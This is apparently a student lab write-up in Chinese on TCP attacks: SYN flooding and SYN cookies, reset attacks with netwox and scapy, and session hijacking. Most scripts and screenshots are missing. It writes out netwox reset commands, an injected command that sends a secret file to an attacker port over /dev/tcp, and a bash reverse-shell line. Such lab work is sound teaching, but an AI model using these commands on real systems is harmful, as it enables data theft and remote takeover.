1.学习使用tcp工作原理
2.学会对tcp 的主要攻击类型,如SYN 泛洪攻击、TCP 复位攻击、TCP 会话劫持攻击(代码位于底部)
传输控制协议是因特网协议簇中的一个核心协议。它位于网络层的上一层,为运
行在联网的计算机中的应
用提供一条可靠、有序的通信信道。
然而,当初进行TCP设计时并没有在协议中建立安全机制,因此本质上TCP连接是
不受保护的,这使得攻击者
有可能窃听连接,向连接注入伪造信息,破坏、劫持连接等。
首先在进行攻击之前使用Telnet 连接,之后来检测SYN 泛洪攻击是否当前的连接造成影响。
此时连接成功。
观察server 中的TCP 连接状态:
并无半连接状态的连接。
然后在攻击端执行如下指令:
使用netwox 中的76 工具对10.0.2.1(server)进行,-s 意味着在ip4/ip6 对
数据包进行伪造,而不是链路层。
此时查看队列:
出现了大量的半连接状态的tcp 连接。
但是telnet 依旧能连上,攻击失败。
根据实验指导手册应该是SYN cookies 防御机制的开启。
此时:
之后关闭该机制:
再次进行攻击,发现此时telnet 就无法连接了。
所以说:SYN cookies 防御机制并不是可以防止TCB 队列被半连接的状态填满,
而是哪怕被填满了,依旧可以进行tcp 的连接。
1、使用 netwox
首先建立telnet 连接,在攻击端输入:
sudo netwox 78 -i 10.0.2.1
此时:
原本建立的telnet:
提示被外部主机终端。
之后使用:ssh 10.0.2.1 连接ssh
同样,在攻击端输入:
sudo netwox 78 -i 10.0.2.1
此时原本建立的ssh 连接被中断。
2、使用 scapy 模块
首先使用wireshark 抓取最新server 向client 端的tcp 包
信息为:
Dst 端口为51804,数据长度为21,序列号为4334821241,下一个序列号为:
433482162。
所以可以写如下的脚本:
执行之后:
之后对于ssh 连接:
和之前类似,只需要把端口改为22.
所以脚本为:
运行之后,ssh 连接断开:
理论上task3 和task2 的攻击很类似,但是难题是如何找到准确的序列号。可以
通过嗅探来实现。
在client 端打开网站观看视频:
之后在攻击端:
可通过neteox 78 来实现:
输入:
sudo netwox 78 -i 10.0.2.4
或者编写脚本:
脚本如下:
一段时间之后:
由于 TCP 协议并没有对 TCP 的传输包进行身份验证,所以在我们知道一个 TCP
连接中的 seq 和 ack 的信息后就可以很容易的伪造传输包,假装任意一方与另
一方进行通信,我们将这一过程称为 TCP 会话劫持
1、使用netwox
首先抓取最新的client 发向server 的数据包:
可以获得源端口,目的端口,序列号,确认号
首先在攻击端输入
打开端口,之后用netwox – 40 工具包伪造数据包:
因为要发送的指令为:
\r cat /home/seed/Desktop/secret > /dev/tcp/10.0.2.11/9090\r
先将上述指令转化为16 进制:
之后使用如下指令:
伪造数据包,发送之后,攻击方显示:
成功打印secret。
之后也可以使用python 代码实现攻击:
可以根据获得的数据编写代码:
最新的包如上,编写脚本如下:
运行之后,结果如下:
打印成功。
这一个实验需要server 执行:
/bin/bash -i > /dev/tcp/10.0.2.11/9090 2>&1 0<&1
抓取最新的包:
可编写脚本如下:
最后,建立shell 连接:
攻击成功。